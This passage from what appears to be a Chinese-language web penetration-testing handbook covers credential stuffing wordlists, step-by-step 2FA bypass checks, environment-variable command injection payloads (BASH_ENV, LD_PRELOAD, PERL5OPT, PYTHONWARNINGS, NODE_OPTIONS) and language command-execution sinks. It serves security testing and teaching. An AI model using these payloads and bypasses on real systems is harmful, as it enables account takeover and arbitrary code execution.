email="USERNAME@website.com"
...
```

您可以使用以下链接：

* [WordList Compendium](https://github.com/Dormidera/WordList-Compendium) - 个人编写的单词列表和字典集合，包含用户、密码、目录、文件、漏洞、模糊测试、注入、工具单词列表等。
* [SecLists](https://github.com/danielmiessler/SecLists) - 安全评估期间使用的多种类型列表的集合。
* [PWDB - 新一代密码大规模分析](https://github.com/ignis-sec/Pwdb-Public) - 从互联网10亿凭证泄露中提取的所有数据的集合。
* [bopscrk](https://github.com/r3nt0n/bopscrk) - 生成智能且强大的单词列表的工具。
* [BruteLoops](https://github.com/arch4ngel/BruteLoops) - 协议不可知的在线密码猜测 API。

参考：

* [报告：绕过报告 #708013 的修复](https://hackerone.com/reports/1363672)

### 凭证填充

[凭证填充](https://owasp.org/www-community/attacks/Credential_stuffing) 是搜索泄露的用户名和密码用于流行的在线服务，因为大多数用户在任何地方都"习惯于"使用相同的密码。

您可以使用以下列表：

* [PWDB - 新一代密码大规模分析](https://github.com/ignis-sec/Pwdb-Public)
* [SecLists](https://github.com/danielmiessler/SecLists)
* [Probable Wordlists - Version 2.0](https://github.com/berzerk0/Probable-Wordlists)

资源：

* [技术分析：漏洞赏金狩猎中的凭证填充](https://krevetk0.medium.com/credential-stuffing-in-bug-bounty-hunting-7168dc1d3153)
* Zeronights 2021: Valeriy Shevchenko – 奇妙的漏洞及其发现方法
  * [视频](https://www.youtube.com/watch?v=5rDGNm3DJfU)
  * [幻灯片](https://zeronights.ru/wp-content/uploads/2021/09/valeri_shevchenko_fantastic_b%CC%B6e%CC%B6a%CC%B6s%CC%B6t%CC%B6s%CC%B6_bugs_and_where_to_find_them_1.pdf)

### 默认凭证

尝试使用默认凭证登录管理面板、第三方服务、中间件等。

您可以使用以下列表：

* [默认凭证速查表](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [SecLists 默认凭证](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials)

### 缺乏密码长度限制

大多数应用程序存储用户密码的哈希值，不以明文存储密码。因此，应用程序在验证用户时对传递的密码进行哈希处理，并将哈希值与数据库中存储的哈希值进行比较。此外，通常使用具有可变计算成本的函数作为哈希函数，其计算复杂性远高于常见的哈希函数，如 `sha256`。因此，如果应用程序没有实现对密码长度的限制，这可以用于 DoS：对非常长的密码进行哈希处理可能是资源密集型的。

## 参考

* [HackTricks：重置/忘记密码绕过](https://book.hacktricks.xyz/pentesting-web/reset-password)
* [双因子认证安全测试和可能的绕过](https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35)


# 双因素认证漏洞

## 滥用"记住我"功能

应用程序可以实现"记住我"功能，以便从同一设备进行的下一次身份验证不需要输入第二因子。为了实现此功能，应用程序可以将长期有效的令牌保存到 cookie 和/或记住 IP 地址。

如果是长期有效的令牌，您可以检查以下几点：

1. 令牌是随机生成的
2. 每个用户和会话（设备）的令牌不同
3. 令牌安全存储，无法从 JavaScript 访问，检查 [Cookie 安全](/web-ying-yong-an-quan/cookie-security)
4. 检查是否可以远程撤销记住的设备

如果应用程序记住 IP，检查是否可以使用 HTTP 头部伪造 IP，检查 [滥用 IP 白名单](#滥用-ip-白名单)

## 滥用 IP 白名单

应用程序可以"记住"用户进行身份验证的 IP 地址，并在后续登录时不要求第二因子。如果应用程序依赖 HTTP 头部来确定客户端的 IP 地址，请尝试使用以下头部伪造 IP 地址：

{% embed url="<https://gist.github.com/user/c27cdcee6a7e84300165d9ec25a3d2b4>" %}

## 使用 OTP 时的常见情况

## 启用 2FA 不会终止之前创建的会话

启用双因子认证必须撤销所有现有会话。如果这种情况没有发生，受害者将无法管理其账户的安全性。结果，攻击者可以在启用第二因子后很长时间内保持之前创建的活动会话。

## 忽略 2FA

应用程序在执行可能导致自动登录到用户账户的操作时可能会忽略双因子认证。

### 滥用半认证会话

应用程序可以在提供凭据后发出具有有限访问权限的会话令牌。尝试在取消注册请求中使用此会话令牌来禁用 2FA（或访问需要身份验证的 API 端点）。您可以通过以下步骤进行检查：

1. 向应用程序提交凭据
2. 从响应中捕获会话令牌
3. 在 2FA 步骤停止身份验证
4. 在取消注册请求（或 API 请求）中使用该令牌
5. 无需 2FA 要求登录账户（访问敏感数据/执行更改）

参考：

* [技术分析：绕过 Box 的基于时间的一次性密码 MFA](https://www.varonis.com/blog/box-mfa-bypass-totp/)

### 跨平台应用程序

应用程序的移动或桌面版本的双因子认证实现可能与 Web 版本不同。双因子认证可能较弱或完全缺失。

### 禁用 2FA 不需要确认

如果应用程序在禁用双因子认证时不需要额外的确认（当前密码、当前 OTP、来自短信的代码等），这提供了通过 CSRF、XSS 或点击劫持攻击禁用双因子认证的选项。

### 密码恢复/邮箱确认

应用程序可以在密码恢复/邮箱确认过程完成后自动登录账户，而不需要第二因子。例如，您可以通过以下步骤检查密码恢复：

1. 登录账户。
2. 启用双因子认证。
3. 进行密码恢复。
4. 如果更改密码后无需第二因子就进入账户，则应用程序存在漏洞。

### 使用第三方账户登录

应用程序在通过第三方账户（如社交网络、Github、Google 等）登录时可能会忽略双因子认证。您可以通过以下步骤进行检查：

1. 登录账户。
2. 启用双因子认证。
3. 链接第三方账户。
4. 如果通过第三方账户登录不需要第二因子，则应用程序存在漏洞。

### 使用测试环境或旧版 API

如果应用程序的测试版本公开可用，请尝试使用您的凭据登录。在此类环境中，双因子认证可能被禁用。非生产环境可以位于主域的单独域或子域上，例如：

* `beta.website.com`
* `stage.website.com`
* `beta-website.com`
* `stagewebsite.com`
* 等。

另外检查是否有旧版 API 可用，它们可能不需要第二因子或没有速率限制算法。如果应用程序支持 API 版本控制，版本可以在 URL 或 HTTP 头部中传递，例如：

* `https://api.website.com/v1/users`
* `https://website.com/api/v1/users`
* `Accept: application/test.data.v1.12+json`
* 等。

参考：

* [技术分析：我想出了一种方法来攻击 Facebook 的 20 亿账户中的任何一个，他们付给了我 15,000 美元的赏金...](https://www.freecodecamp.org/news/responsible-disclosure-how-i-could-have-hacked-all-facebook-accounts-f47c0252ae4d/)

## 对 2FA 页面的不当访问控制

使用双因子认证时，应用程序可以使用具有预定义参数的 URL 将用户定向到特殊页面。如果此页面可以在没有 cookie 或使用来自另一个会话的 cookie 的情况下访问，您可以检查以下情况：

* URL 生成
* URL 过期日期
* 搜索引擎 URL 索引

如果 URL 被猜测到、被搜索引擎索引、具有很长的过期日期，它可以用于无需输入凭据即可登录账户。因此，如果有绕过双因子认证的方法，您可以访问其他用户的账户。

## 对备份码的不当访问控制

备份码在启用第二因子后立即生成，并且仅在启用后可用。对于每个后续请求，可以重新生成代码或保持不变。

尝试找到可能从对备份码显示端点的请求响应中窃取备份码的漏洞。

## 不当的速率限制

## 基于时间的 2FA

### 长期有效的代码

使用基于时间的代码的应用程序通常维护一个时间间隔，在此期间代码有效，因此人们可以慢慢输入它们。由于新代码以 `n` 秒为步长生成（通常 `n` 是 30-60 秒），多个代码同时有效。但是，允许窗口中的每个代码都是用户账户的有效代码。如果代码在一小时内有效，在此窗口内许多代码同时有效。因此，猜测有效代码要容易得多，因为在可能的代码集中有多个有效代码。

例如，如果代码以 30 秒为步长生成，并且这里常见的有效性范围是相对于服务器设置时间的任一方向约 5 分钟，则允许窗口为 `[current_time - 5 mins, current_time + 5mins]`，同时有效的代码数量为 `10 分钟 * 60 秒 / 30 秒 = 20 个代码`。

参考：

* [报告：不安全的 2FA/身份验证实现创建暴力破解漏洞](https://hackerone.com/reports/149598)

### 使用旧代码

应用程序可以撤销当前代码，并且不存储最新代码的时间戳以拒绝比当前代码更旧的代码。结果，攻击者能够使用比用户选择输入的代码更旧的代码。您可以通过以下步骤进行检查：

1. 打开两个不同的浏览器并登录
2. 在两个浏览器中都进入 2FA 屏幕
3. 获得有效的 2FA 代码，并将其写下来，暂不使用
4. 等待下一个有效的 2FA 代码，并在一个浏览器中使用它登录
5. 在另一个浏览器中，尝试使用之前写下的旧 2FA 代码登录
6. 如果您可以使用两个会话登录，则应用程序存在漏洞

## 混合 2FA 模式

应用程序可以提供多种 2FA 模式，如基于 SMS 和基于 TOTP 的 2FA 流程。如果应用程序使用除半认证会话 cookie 之外的每用户唯一参数来引用所需的 2FA 模式，您可以尝试使用您未由受害者使用的 2FA 模式完成身份验证流程。攻击流程的示例可能包含以下步骤：

1. 受害者设置基于 SMS 的 2FA
2. 攻击者使用认证器应用程序（基于 TOTP 的 2FA）注册 2FA 并保存其唯一参数，例如 `factor_id`
3. 攻击者输入受害者的邮箱地址和密码
4. 如果密码正确，攻击者的浏览器被发送新的身份验证 cookie 并重定向到 `/mfa/sms/verification`
5. 攻击者不遵循到 SMS 验证表单的重定向。相反，攻击者将其 `factor_id` 和来自认证器应用程序的代码与受害者的半认证 cookie 一起发送到 TOTP 验证端点：`/mfa/totp/verification` 端点。

参考：

* [技术分析：混合消息：破解 Box 的 MFA 方法](https://www.varonis.com/blog/box-mfa-bypass-sms)

## 会话持久性到 2FA 流程

通常，身份验证流程在传递凭据后初始化会话，并等待第二因子完成流程。尝试在此步骤更改密码/禁用 2FA 并完成身份验证流程。如果会话没有超时或者您可以自己续订（例如通过更改身份验证方式）并且应用程序允许您登录，即使在更改密码/禁用 2FA 后，您仍然可以访问用户账户。

攻击的示例如下：

1. 攻击者获得对没有 2FA 的受害者账户的访问权限。
2. 攻击者为受害者账户启用 2FA。
3. 在另一个浏览器中，攻击者在传递凭据后停止，并在此步骤无限期等待。
4. 攻击者为受害者账户禁用 2FA。
5. 受害者重新获得对账户的访问权限并更改密码/重置会话。
6. 攻击者使用 2FA 完成流程并再次获得对账户的访问权限。

参考：

* [技术分析：我如何滥用 2FA 在密码更改后保持持久性（Google、Microsoft、Instagram、Cloudflare 等）](https://medium.com/@lukeberner/how-i-abused-2fa-to-maintain-persistence-after-a-password-change-google-microsoft-instagram-7e3f455b71a1)

## 弱共享密钥

大多数基于代码的 2FA 系统依赖于共享密钥。如果此密钥实际上不是加密安全的，或者非常短，攻击者可能能够猜测它。结果，攻击者将能够生成有效的代码。

如果您有源代码访问权限，请确保密钥是使用加密强度生成器生成的。大多数编程语言的默认随机数生成器是[可预测的](https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html)，这意味着攻击者可能能够确定哪些密钥分配给哪些用户。此外，验证共享密钥[至少 20 字节长](https://datatracker.ietf.org/doc/html/rfc6238#section-5.1)，因为出于安全目的应避免使用较短的密钥。

如果您可以审查源代码，请尝试检查密钥的长度和明显的随机性（使用条形码扫描仪扫描 QR 码以检索密钥）。为同一账户或不同账户生成几个密钥，并尝试回答以下问题：

* 每个密钥是否不同？
* 密钥的任何部分是否似乎是顺序的？
* 密钥的任何部分是否基于账户信息？
* 其他不安全的情况？

## 参考

* [双因子认证安全测试和可能的绕过](https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35)
* [NCC Group 研究：测试双因子认证](https://research.nccgroup.com/2021/06/10/testing-two-factor-authentication/)
* [网站列表及其是否支持 2FA](https://twofactorauth.org/)


# 命令注入

## 环境变量

### BASH\_ENV

您可以使用 `BASH_ENV` 与 bash 来实现命令注入：

```bash
$ BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
```

参考：

* [研究：如何使用环境变量注入执行任意命令](https://tttang.com/archive/1450/#toc_0x06-bash_env)

### BASH\_FUNC\_\*%%

您可以使用 `BASH_FUNC_*%%` 根据环境变量的值初始化匿名函数并为其命名。以下示例将 `myfunc` 函数添加到 bash 上下文中：

```bash
$ env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
uid=0(root) gid=0(root) groups=0(root)
```

此外，您可以覆盖现有函数：

```bash
$ env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
```

参考：

* [研究：如何使用环境变量注入执行任意命令](https://tttang.com/archive/1450/#toc_0x08)

### ENV

当您强制 [dash](https://linux.die.net/man/1/dash) 以交互方式运行时，dash 将查找 `ENV` 环境变量并将其传递给 `read_profile` 函数：

```c
if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
    read_profile(shinit);
}
```

`read_profile` 将打印 `ENV` 内容：

```bash
$ ENV='$(id 1>&2)' dash -i -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
```

您可以使用 `sh` 获得相同的结果：

```bash
$ ENV='$(id 1>&2)' sh -i -c "echo hello"
uid=0(root) gid=0(root) groups=0(root)
hello
```

参考：

* [研究：如何使用环境变量注入执行任意命令](https://tttang.com/archive/1450/#toc_0x03-dash)

### GIT\_\*

以下 `GIT_*` 参数可用于滥用 git 目录：

* [GIT\_DIR](https://git-scm.com/book/en/v2/Git-Internals-Environment-Variables) 是 `.git` 文件夹的位置
* [GIT\_PROXY\_COMMAND](https://git-scm.com/docs/git-config#Documentation/git-config.txt-coregitProxy) 用于覆盖 `core.gitProxy`
* [GIT\_SSH\_COMMAND](https://git-scm.com/docs/git-config#Documentation/git-config.txt-coresshCommand) 用于覆盖 `core.sshCommand`
* [GIT\_EXTERNAL\_DIFF](https://git-scm.com/docs/git-config#Documentation/git-config.txt-diffexternal) 用于覆盖 `diff.external`
* [GIT\_CONFIG\*](https://git-scm.com/docs/git-config#Documentation/git-config.txt-GITCONFIGCOUNT)。现代版本的 Git 支持通过 `GIT_CONFIG*` 环境变量设置任何配置值

### LD\_PRELOAD

`LD_PRELOAD` 是一个可选的环境变量，包含一个或多个共享库或共享对象的路径，加载程序将在任何其他共享库（包括 C 运行时库 `libc.so`）之前加载它们。

在 Linux C 中，函数可以在函数定义中使用属性进行声明。这是通过将所需的属性添加到函数定义中来完成的。有两个感兴趣的属性，[constructor 和 destructor](https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html)。具有 `constructor` 属性的函数将在程序执行 `main()` 之前运行。对于共享对象，这将发生在加载时。使用 `destructor` 属性声明的函数应该在 `main()` 返回或调用 `exit()` 时运行一次。

{% hint style="info" %}
LD\_PRELOAD 可用于覆盖标准的 libc 调用，查看 [为了乐趣和利润滥用 LD\_PRELOAD](https://www.sweharris.org/post/2017-03-05-ld-preload/)
{% endhint %}

换句话说，您可以编译一个共享库在加载时和/或返回之前调用：

1. 重用以下代码来编译共享库：

   // C code for LD\_PRELOAD injection example // This is a generic LD\_PRELOAD example that can be used for testing
2. 使用以下命令编译共享库：

   ```bash
   $ gcc -Wall -O3 -fPIC -shared inject.c -o inject.so
   ```
3. 利用：

   ```bash
   $ LD_PRELOAD=./inject.so git -v

   [+] Inject.so Loaded!
   [*] PID: 1337
   [*] Process: /usr/bin/git

   Unknown option: -v
   usage: git [--version] [--help] [-C <path>] [-c name=value]
           [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
           [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
           [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
           <command> [<args>]

   [-] Inject.so is being unloaded!
   ```

   ```bash
   $ LD_PRELOAD=./inject.so id

   [+] Inject.so Loaded!
   [*] PID: 1337
   [*] Process: /usr/bin/id

   uid=0(root) gid=0(root) groups=0(root)
   ```

   ```bash
   $ LD_PRELOAD=./inject.so bash -c "echo 'hello'"

   [+] Inject.so Loaded!
   [*] PID: 1337
   [*] Process: /bin/bash

   hello

   [-] Inject.so is being unloaded!
   ```

参考：

* [LD\_PRELOAD：如何在加载时运行代码](https://www.secureideas.com/blog/2021/02/ld_preload-how-to-run-code-at-load-time.html)
* [elttam 博客：远程 LD\_PRELOAD 利用](https://www.elttam.com/blog/goahead/)

### PERL5OPT

[PERL5OPT](https://perldoc.perl.org/perlrun#PERL5OPT) 指定命令行选项，但仅限于接受选项 `CDIMTUWdmtw`。

`PERL5OPT=-M` 可用于加载 Perl 模块并在模块名称后添加额外代码：

```bash
PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`)' perl /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

### PERL5DB

[PERL5DB](https://perldoc.perl.org/perlrun#PERL5DB) 指定用于加载调试器代码的命令。`PERL5DB` 仅在 Perl 以裸 `-d` 开关启动时使用。

```bash
PERL5OPT=-d PERL5DB='system("ls -la");' perl /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

### PERLLIB 和 PERL5LIB

[PERLLIB](https://perldoc.perl.org/perlrun#PERLLIB) 和 [PERL5LIB](https://perldoc.perl.org/perlrun#PERL5LIB) 设置在标准库中查找 Perl 库文件的目录列表。如果定义了 `PERL5LIB`，则不使用 `PERLLIB`。

如果有办法将恶意的 Perl 模块写入文件系统，`PERLLIB` 和 `PERL5LIB` 可用于执行任意命令：

```bash
$ cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("cmdname arg1 arg2");
EOF
$ PERLLIB=/tmp PERL5OPT=-Mroot perl /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)
* [CVE-2016-1531 利用](https://github.com/HackerFantastic/exploits/blob/979c345959349cb829e473faae9fe040b7290876/cve-2016-1531.sh)

### PYTHONWARNINGS

[PYTHONWARNINGS](https://docs.python.org/3/using/cmdline.html#envvar-PYTHONWARNINGS) 等同于指定用于警告控制的 [-W](https://docs.python.org/3/using/cmdline.html#cmdoption-W) 选项。参数的完整形式是 `action:message:category:module:line`。

如果指定的类别包含点，警告控制会触发任意 Python 模块的导入：

```python
# /Lib/warnings.py
# ...
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
# ...
```

如果有办法将恶意的 Python 模块写入文件系统，`PYTHONWARNINGS` 可用于执行任意命令：

```bash
$ cat > /tmp/exec.py << EOF
import os
os.system("cmdname arg1 arg2")
EOF
$ PYTHONPATH="/tmp" PYTHONWARNINGS=all:0:exec.x:0:0 python3 python /dev/null
```

但是，您可以使用 Python 标准库中的 `antigravity` 模块来运行任意命令。运行 `import antigravity` 将立即打开浏览器到 `xkcd` 漫画，该漫画开玩笑说在 Python 中 `import antigravity` 会赋予您飞行的能力。`antigravity` 使用标准库中称为 `webbrowser` 的另一个模块来打开浏览器。此模块检查 `PATH` 以查找各种浏览器，包括 `mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks and lynx`。它还接受一个环境变量 `BROWSER`，可用于指定应执行哪个进程。无法在环境变量中为进程提供参数，`xkcd` 漫画 URL 是命令的硬编码参数：

```bash
$ <BROWSER> https://xkcd.com/353/
```

执行任意命令的一种方法是利用 Perl，它通常安装在系统上，甚至在标准的 Python docker 镜像中也可用。但是，`perl` 二进制文件本身不能使用。这是因为第一个也是唯一的参数是 `xkcd` 漫画 URL。漫画 URL 参数将导致错误并使进程退出，而不使用 `PERL5OPT` 环境变量。

幸运的是，当 Perl 可用时，通常也有默认的 Perl 脚本可用，例如 `perldoc` 和 `perlthanks`。这些脚本也会错误并以无效参数退出，但这种情况下的错误发生在 `PERL5OPT` 环境变量处理之后。这意味着可以利用 Perl 环境变量来执行命令。

```bash
$ PYTHONWARNINGS=all:0:antigravity.x:0:0 BROWSER=perlthanks PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`);' python3 python /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

### NODE\_OPTIONS

[NODE\_OPTIONS](https://nodejs.org/api/cli.html#node_optionsoptions) 指定以空格分隔的命令行选项列表。

如果有办法将恶意的 Node.js 模块写入文件系统，`NODE_OPTIONS` 可用于执行任意命令：

```bash
$ cat > /tmp/exec << EOF
console.log(require("child_process").execSync("id").toString());
EOF
$ NODE_OPTIONS='--require /tmp/exec' node node /dev/null
```

如果没有办法将模块写入文件系统，您可以使用 proc 文件系统，特别是 `/proc/self/environ`，来传递 payload。

```bash
$ AAAA='console.log(require("child_process").execSync("id").toString());//' NODE_OPTIONS'=--require /proc/self/environ' node node /dev/null
```

但是，有两个约束条件：

1. 使用 `/proc/self/environ` 只有在内容在语法上有效 JavaScript 时才可能。为此，您需要能够创建环境变量并使其首先出现在 `/proc/self/environ` 的内容中。
2. 由于第一个环境变量的值以单行注释 `//` 结尾，其他环境变量中的任何换行符都将导致语法错误。使用多行注释 `/*` 不会解决问题，因为它们必须关闭才能在语法上有效。在这种情况下，需要覆盖包含换行符的变量的值。

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)
* [利用原型污染 – Kibana 中的 RCE (CVE-2019-7609)](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)

### RUBYOPT

`RUBYOPT` 指定命令行选项。

如果有办法将恶意的 Ruby 库写入文件系统，`RUBYOPT` 可用于执行任意命令。`-r` 选项使 Ruby 使用 require 加载库，但这仅限于扩展名为 `.rb` 或 `.so` 的文件：

```bash
$ cat > /tmp/exec.rb << EOF
puts `cmdname arg1 arg2`
EOF
$ RUBYOPT=-r/tmp/exec.rb ruby /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

## 编程语言

### Go

```golang
// https://pkg.go.dev/os#StartProcess
// os.StartProcess
var procAttr = os.ProcAttr
os.StartProcess(
    "cmdname",
    []string{"arg1", "arg2"},
    &procAttr,
)

// https://pkg.go.dev/os/exec#Command
// os/exec.Command
exec.Command("cmdname", "arg1", "arg2").Run()

// 命令行执行
cmd := exec.Command("bash", "-c", "cmdname arg1 arg2")
out, err := cmd.Output()

// https://pkg.go.dev/os/exec#CommandContext
// os/exec.CommandContext
exec.CommandContext(ctx, "cmdname", "arg1", "arg2").Run()

// https://pkg.go.dev/os/exec#Cmd
// os/exec.Cmd
cmd := &exec.Cmd {
    Path: "cmdname",
    Args: []string{ "arg1", "arg2" },
}
cmd.Run();

// https://pkg.go.dev/syscall#Exec
// syscall.Exec
syscall.Exec(
    "cmdname",
    []string{ "arg1", "arg2" },
    os.Environ(),
)

// https://pkg.go.dev/syscall#ForkExec
// syscall.ForkExec (仅限 unix)
var procAttr = os.ProcAttr
syscall.ForkExec(
    "cmdname",
    []string{ "arg1", "arg2" },
    &procAttr,
)

// https://pkg.go.dev/syscall#StartProcess
// syscall.StartProcess
var procAttr = os.ProcAttr
syscall.StartProcess(
    "cmdname",
    []string{ "arg1", "arg2" },
    &procAttr,
)

// https://pkg.go.dev/syscall?GOOS=windows#CreateProcess
// https://pkg.go.dev/syscall?GOOS=windows#CreateProcessAsUser
// syscall.CreateProcess 和 syscall.CreateProcessAsUser (仅限 windows)
var sI syscall.StartupInfo
var pI syscall.ProcessInformation
cmdline := syscall.UTF16PtrFromString("cmdname arg1 arg2")
syscall.CreateProcess(nil, cmdline, nil, nil, true, 0, nil, nil, &sI, &pI)
```

### Java

```java
// https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html
// java.lang.Runtime.exec
Runtime.getRuntime().exec("cmdname arg1 arg2");
Runtime.getRuntime().exec(new String[] {"cmdname", "arg1", "arg2"})
// 或完整路径
java.lang.Runtime.getRuntime().exec("cmdname arg1 arg2");

// https://docs.oracle.com/javase/8/docs/api/java/lang/ProcessBuilder.html
// java.lang.ProcessBuilder
new ProcessBuilder("cmdname", "arg1", "arg2").start();
new ProcessBuilder(new String[]{"cmdname", "arg1", "arg2"}).start();
// 或使用命令
ProcessBuilder pb = new ProcessBuilder();
pb.command("cmdname", "arg1", "arg2").start();
pb.command(new String[]{"cmdname", "arg1", "arg2"}).start();
// 或完整路径
new java.lang.ProcessBuilder("cmdname", "arg1", "arg2").start();

// https://commons.apache.org/proper/commons-exec/apidocs/org/apache/commons/exec/Executor.html
// org.apache.commons.exec.Executor
Executor exec = new DefaultExecutor();
exec.execute(new CommandLine("cmdname arg1 arg2"););

// javax.script.ScriptEngine eval
new ScriptEngineManager()
    .getEngineByExtension("js")
    .eval("js code here");

// java.lang.Runtime loadLibrary
Runtime.getRuntime().loadLibrary("library path here");
java.lang.Runtime.getRuntime().loadLibrary("library path here");

// https://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyShell.html
// groovy.lang.GroovyShell
GroovyShell shell = new GroovyShell();
shell.evaluate(...);
shell.parse(...);
shell.parseClass(...);
```

### Node.js

```javascript
// child_process 或 mz/child_process

// https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback
// child_process.exec
const { exec } = require('child_process');
exec('cmdname arg1 arg2');
exec('...', { 'shell': '/path/to/controlled/executable/file' });

// https://nodejs.org/api/child_process.html#child_processexecsynccommand-options
// child_process.execSync
const { execSync } = require('child_process');
execSync('cmdname arg1 arg2');
execSync('...', { 'shell': '/path/to/controlled/executable/file' });

// https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback
// child_process.execFile
const { execFile } = require('child_process');
execFile('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });

// https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options
// child_process.execFileSync
const { execFileSync } = require('child_process');
execFileSync('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });

// https://nodejs.org/api/child_process.html#child_processspawncommand-args-options
// child_process.spawn
const { spawn } = require('child_process');
spawn('cmdname', ['arg1', 'arg2']);
spawn('cmdname arg1 arg2', { shell: true });

// https://nodejs.org/api/child_process.html#child_processspawnsynccommand-args-options
// child_process.spawnSync
const { spawnSync } = require('child_process');
spawnSync('cmdname', ['arg1', 'arg2']);
spawnSync('cmdname arg1 arg2', { shell: true });

// https://www.npmjs.com/package/shelljs
// shelljs.exec
var shell = require('shelljs');
shell.exec('cmdname arg1 arg2');

// https://www.npmjs.com/package/cross-spawn
// cross-spawn.spawn
const spawn = require('cross-spawn');
spawn('cmdname', ['arg1', 'arg2']);
spawn.sync('cmdname', ['arg1', 'arg2']);

// https://www.npmjs.com/package/execa
// execa

// https://github.com/sindresorhus/execa#execafile-arguments-options
// execa.execa
import { execa } from 'execa';
execa.execa('cmdname', ['arg1', 'arg2']);

// https://github.com/sindresorhus/execa#execasyncfile-arguments-options
// execa.execaSync
import { execaSync } from 'execa';
execa.execaSync('cmdname', ['arg1', 'arg2']);

// https://github.com/sindresorhus/execa#command
// execa.$`command`
import { $ } from 'execa';
$`cmdname arg1 arg2`;

// https://github.com/sindresorhus/execa#synccommand
// execa.$.sync`command`
import { $ } from 'execa';
$.sync`cmdname arg1 arg2`

// https://github.com/sindresorhus/execa#execacommandcommand-options
// execa.execaCommand
execa.execaCommand('cmdname arg1 arg2')

// https://github.com/sindresorhus/execa#execacommandsynccommand-options
// execa.execaCommandSync
execa.execaCommandSync('cmdname arg1 arg2')
```

### Python

```python
# https://docs.python.org/3/library/os.html#os.system
# os.system
os.system("cmdname arg1 arg2")

# https://docs.python.org/3/library/os.html#os.popen
# os.popen
os.popen("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/os.html#os.popen2
# 已弃用，在 Python <= 2.7 中可用
# os.popen2, os.popen3, os.popen4
os.popen2("cmdname arg1 arg2")

# https://docs.python.org/3/library/os.html#os.spawnl
# os.spawn*
os.spawnl(mode, "path", "arg1", "arg2")
os.spawnle(mode, "path", "arg1", "arg2", os.environ)
os.spawnlp(mode, "file", "arg1", "arg2")
os.spawnlpe(mode, "file", "arg1", "arg2", os.environ)
os.spawnv(mode, "path", ["arg1", "arg2"])
os.spawnve(mode, "path", ["arg1", "arg2"], os.environ)
os.spawnvp(mode, "file", ["arg1", "arg2"])
os.spawnvpe(mode, "file", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.execl
# os.exec*
os.execl("path", "arg1", "arg2")
os.execle("path", "arg1", "arg2", os.environ)
os.execlp("file", "arg1", "arg2")
os.execlpe("file", "arg1", "arg2", os.environ)
os.execv("path", ["arg1", "arg2"])
os.execve("path", ["arg1", "arg2"], os.environ)
os.execvp("file", ["arg1", "arg2"])
os.execvpe("file", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.posix_spawn
# os.posix_spawn
os.posix_spawn("path", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.posix_spawnp
# os.posix_spawnp
os.posix_spawn("path", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/subprocess.html#subprocess.call
# subprocess.call
subprocess.call("cmdname arg1 arg2", shell=True)
subprocess.call(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.run
# subprocess.run
subprocess.run("cmdname arg1 arg2", shell=True)
subprocess.run(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.Popen
# subprocess.Popen
subprocess.Popen("cmdname arg1 arg2", shell=True)
subprocess.Popen(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.check_call
# subprocess.check_call
subprocess.check_call("cmdname arg1 arg2", shell=True)
subprocess.check_call(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.check_output
# subprocess.check_output
subprocess.check_output("cmdname arg1 arg2", shell=True)
subprocess.check_output(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.getoutput
# subprocess.getoutput
subprocess.getoutput("cmdname arg1 arg2")

# https://docs.python.org/3/library/subprocess.html#subprocess.getstatusoutput
# subprocess.getstatusoutput
subprocess.getstatusoutput("cmdname arg1 arg2")

